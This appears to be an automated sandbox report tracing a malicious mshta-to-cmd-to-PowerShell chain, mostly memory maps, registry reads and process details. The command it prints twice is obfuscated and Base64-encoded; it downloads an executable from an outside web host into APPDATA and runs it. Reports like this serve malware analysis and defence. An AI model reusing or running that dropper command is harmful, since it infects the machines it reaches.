Command Line "C:\Windows\system32\cmd.exe" "/c powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA "
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:45, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:50
OS Process Information
+
Information Value
PID 0xa28
Parent PID 0x9c0 (c:\windows\system32\mshta.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A2C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000080000 0x00080000 0x00080fff Private Memory Readable, Writable True True False
private_0x0000000000090000 0x00090000 0x000cffff Private Memory Readable, Writable True True False
private_0x00000000000d0000 0x000d0000 0x000d0fff Private Memory Readable, Writable True True False
private_0x0000000000110000 0x00110000 0x0020ffff Private Memory Readable, Writable True True False
locale.nls 0x00210000 0x00276fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000002e0000 0x002e0000 0x0035ffff Private Memory Readable, Writable True True False
private_0x0000000000430000 0x00430000 0x0052ffff Private Memory Readable, Writable True True False
private_0x0000000000660000 0x00660000 0x0066ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000670000 0x00670000 0x007f7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000800000 0x00800000 0x00980fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000990000 0x00990000 0x01d8ffff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001d90000 0x01d90000 0x020d2fff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x020e0000 0x023aefff Memory Mapped File Readable False False False
  • Region Actions
cmd.exe 0x4a8b0000 0x4a8fbfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winbrand.dll 0x74dc0000 0x74dc6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True True False
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True True False
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True True False
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True True False
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True True False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Host Behavior
File (11)
+
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\kFT6uTQW\Desktop type = file_attributes True 2
Fn
Get Info powershell.exe type = file_attributes False 1
Fn
Open STD_OUTPUT_HANDLE True 5
Fn
Open STD_INPUT_HANDLE True 3
Fn
Registry (17)
+
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
+
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe os_pid = 0xa40, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
+
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a8b0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76520000 True 2
Fn
Get Filename process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x7654a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76553b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76534a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x7654a79d True 1
Fn
System (2)
+
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2017-10-16 14:27:04 (UTC) True 1
Fn
Get Time type = Ticks, time = 79591 True 1
Fn
Environment (19)
+
Operation Additional Information Success Count Logfile
Get Environment String True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\kFT6uTQW\Desktop True 1
Fn
Set Environment String name = COPYCMD, value = 0 True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Process #5: powershell.exe
(Host: 750, Network: 66)
+
Information Value
ID #5
File Name c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
Command Line powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA "
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:46, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:49
OS Process Information
+
Information Value
PID 0xa40
Parent PID 0xa28 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A44
0x A48
0x A4C
0x A50
0x A54
0x A58
0x 0
0x A5C
0x A60
0x A64
0x A68
0x A8C
0x A98
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000070000 0x00070000 0x000effff Private Memory Readable, Writable True True False
locale.nls 0x000f0000 0x00156fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00161fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
powershell.exe.mui 0x00170000 0x00172fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000180000 0x00180000 0x00180fff Private Memory Readable, Writable True True False
private_0x0000000000190000 0x00190000 0x001cffff Private Memory Readable, Writable True True False
private_0x00000000001d0000 0x001d0000 0x001d0fff Private Memory Readable, Writable True True False
pagefile_0x00000000001e0000 0x001e0000 0x001e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000001f0000 0x001f0000 0x001f0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x0020ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000210000 0x00210000 0x00211fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000230000 0x00230000 0x00231fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0027ffff Private Memory Readable, Writable True True False
private_0x0000000000280000 0x00280000 0x0037ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000380000 0x00380000 0x0045efff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000460000 0x00460000 0x00460fff Pagefile Backed Memory Readable True False False
  • Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db 0x00470000 0x00492fff Memory Mapped File Readable True False False
  • Region Actions
private_0x00000000004a0000 0x004a0000 0x004affff Private Memory Readable, Writable True True False
pagefile_0x00000000004b0000 0x004b0000 0x00637fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000640000 0x00640000 0x007c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000007d0000 0x007d0000 0x01bcffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001bd0000 0x01bd0000 0x01ccffff Private Memory Readable, Writable True True False
pagefile_0x0000000001cd0000 0x01cd0000 0x01cd0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001ce0000 0x01ce0000 0x01d1ffff Private Memory Readable, Writable True True False
pagefile_0x0000000001d20000 0x01d20000 0x01d20fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000001d30000 0x01d30000 0x01d30fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d40000 0x01d40000 0x01d4ffff Private Memory True True False
private_0x0000000001d50000 0x01d50000 0x01d5ffff Private Memory True True False
private_0x0000000001d60000 0x01d60000 0x01d9ffff Private Memory Readable, Writable, Executable True True False
private_0x0000000001da0000 0x01da0000 0x01daffff Private Memory True True False
private_0x0000000001db0000 0x01db0000 0x01dbffff Private Memory True True False
private_0x0000000001dc0000 0x01dc0000 0x01dcffff Private Memory True True False
private_0x0000000001dd0000 0x01dd0000 0x01ddffff Private Memory True True False
private_0x0000000001de0000 0x01de0000 0x01deffff Private Memory Readable, Writable True True False
l_intl.nls 0x01df0000 0x01df2fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000001e00000 0x01e00000 0x01e00fff Private Memory Readable, Writable True True False
private_0x0000000001e10000 0x01e10000 0x01e4ffff Private Memory Readable, Writable, Executable True True False
sorttbls.nlp 0x01e50000 0x01e54fff Memory Mapped File Readable False False False
  • Region Actions
microsoft.wsman.runtime.dll 0x01e60000 0x01e67fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000001e70000 0x01e70000 0x01e70fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001e80000 0x01e80000 0x01ebffff Private Memory Readable, Writable True True False
private_0x0000000001ec0000 0x01ec0000 0x01efffff Private Memory Readable, Writable True True False
pagefile_0x0000000001f00000 0x01f00000 0x01f00fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001f20000 0x01f20000 0x01f5ffff Private Memory Readable, Writable True True False
private_0x0000000001f60000 0x01f60000 0x01f9ffff Private Memory Readable, Writable True True False
sortdefault.nls 0x01fa0000 0x0226efff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002270000 0x02270000 0x02662fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002680000 0x02680000 0x026bffff Private Memory Readable, Writable True True False
private_0x00000000026c0000 0x026c0000 0x026fffff Private Memory Readable, Writable True True False
private_0x0000000002700000 0x02700000 0x0273ffff Private Memory Readable, Writable True True False
private_0x0000000002740000 0x02740000 0x027dffff Private Memory Readable, Writable True True False
private_0x00000000027e0000 0x027e0000 0x0281ffff Private Memory Readable, Writable True True False
private_0x0000000002820000 0x02820000 0x0285ffff Private Memory Readable, Writable True True False
kernelbase.dll.mui 0x02860000 0x0291ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
sortkey.nlp 0x02920000 0x02960fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000029b0000 0x029b0000 0x029bffff Private Memory Readable, Writable True True False
private_0x00000000029c0000 0x029c0000 0x049bffff Private Memory Readable, Writable True False False
  • Region Actions
system.transactions.dll 0x049c0000 0x04a02fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000004a20000 0x04a20000 0x04a5ffff Private Memory Readable, Writable True True False
system.management.automation.dll 0x04a60000 0x04d41fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
powershell.exe 0x21950000 0x219c1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
culture.dll 0x60340000 0x60347fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.transactions.dll 0x67aa0000 0x67ae2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
microsoft.powershell.security.ni.dll 0x6c140000 0x6c16cfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.management.ni.dll 0x6c170000 0x6c232fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.transactions.ni.dll 0x6c3e0000 0x6c47bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.wsman.management.ni.dll 0x6c480000 0x6c504fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.configuration.install.ni.dll 0x6c510000 0x6c534fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.diagnostics.ni.dll 0x6c540000 0x6c58afff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.core.ni.dll 0x6c590000 0x6c7c4fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.ni.dll 0x6c7d0000 0x6d049fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.dll 0x6d050000 0x6d331fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
microsoft.powershell.consolehost.ni.dll 0x6d340000 0x6d3c0fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.ni.dll 0x6d3d0000 0x6db6bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorlib.ni.dll 0x6db70000 0x6e667fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorwks.dll 0x6e670000 0x6ec1afff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
userenv.dll 0x73b30000 0x73b46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
atl.dll 0x73b50000 0x73b63fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x73db0000 0x73e2ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscoreei.dll 0x741b0000 0x74229fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoree.dll 0x74230000 0x74279fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcr80.dll 0x746e0000 0x7477afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apphelp.dll 0x74780000 0x747cbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shdocvw.dll 0x747f0000 0x7481dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x74820000 0x749bdfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x74a00000 0x74a20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
propsys.dll 0x74a30000 0x74b24fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x74b40000 0x74b4afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
slc.dll 0x75310000 0x75319fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cscapi.dll 0x75320000 0x7532afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntshrui.dll 0x75350000 0x753bffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
linkinfo.dll 0x753c0000 0x753c8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x75650000 0x76299fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x762a0000 0x762e4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cfgmgr32.dll 0x76850000 0x76876fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
setupapi.dll 0x76ae0000 0x76c7cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
devobj.dll 0x76eb0000 0x76ec1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True True False
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True True False
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x77870000 0x77874fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efa7000 0x7efa7000 0x7efa9fff Private Memory Readable, Writable True True False
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True True False
